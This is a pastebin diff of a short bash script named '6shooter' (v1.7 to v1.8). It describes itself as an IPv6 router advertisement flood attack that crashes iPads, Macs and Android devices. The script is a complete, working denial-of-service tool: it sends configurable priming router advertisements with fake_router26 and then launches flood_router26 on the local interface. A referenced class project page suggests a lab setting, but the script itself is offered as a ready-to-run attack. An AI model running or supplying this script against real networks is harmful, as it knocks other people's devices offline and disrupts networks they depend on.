SHOW:
|
|
- or go back to the newest paste.
| 1 | #!/bin/bash | |
| 2 | # | |
| 3 | # This is an IPv6 RA flood attack that kills iPads and Macs and Android. | |
| 4 | # For videos and details: | |
| 5 | # http://samsclass.info/ipv6/proj/RA_flood2.htm | |
| 6 | # | |
| 7 | ||
| 8 | if [ "$#" -ne 3 ] | |
| 9 | then | |
| 10 | - | echo "Usage: ./6shooter1.7 P d t" |
| 10 | + | echo "Usage: ./6shooter1.8 P d t" |
| 11 | echo " " | |
| 12 | echo " P = Number of priming RA packets to send" | |
| 13 | echo " Each RA has 1 prefix, 3 routes, and DNS" | |
| 14 | echo " " | |
| 15 | echo " d = Additional delay in seconds between timing and flood" | |
| 16 | echo " " | |
| 17 | echo " t = type: 0 = No DNS, 1 = With DNS, 2 = Only ::/0 Route & no DNS, 3 = 12 routes & DNS" | |
| 18 | exit | |
| 19 | fi | |
| 20 | ||
| 21 | ||
| 22 | echo "Sending priming packets" | |
| 23 | ||
| 24 | for i in `seq 1 $1`; do | |
| 25 | if [ "$3" -eq 0 ] | |
| 26 | then | |
| 27 | CMD="fake_router26 -A $i::/64 -R ::/0 -R 2000::/3 -R fc00::/7 -n 1 eth0" | |
| 28 | fi | |
| 29 | ||
| 30 | if [ "$3" -eq 1 ] | |
| 31 | then | |
| 32 | CMD="fake_router26 -A $i::/64 -R ::/0 -R 2000::/3 -R fc00::/7 -D ff02::fb -n 1 eth0" | |
| 33 | fi | |
| 34 | ||
| 35 | if [ "$3" -eq 2 ] | |
| 36 | then | |
| 37 | CMD="fake_router26 -A $i::/64 -R ::/0 -n 1 eth0" | |
| 38 | fi | |
| 39 | ||
| 40 | if [ "$3" -eq 3 ] | |
| 41 | then | |
| 42 | CMD="fake_router26 -A $i::/64 -R ::/0 -R 2000::/3 -R fc00::/7 -R 2000::/4 -R2000::/5 -R 2000::/6 -R 2000::/7 -R2000::/8 -R 2000::/9 -R 2000::/10 -R 2000::/11 -R 2000::/12 -D ff02::fb -n 1 eth0" | |
| 43 | fi | |
| 44 | ||
| 45 | echo "$CMD" | |
| 46 | $CMD | |
| 47 | done | |
| 48 | ||
| 49 | echo "waiting $2 seconds" | |
| 50 | sleep $2 | |
| 51 | ||
| 52 | echo "starting flood" | |
| 53 | ||
| 54 | ./flood_router26 eth0 |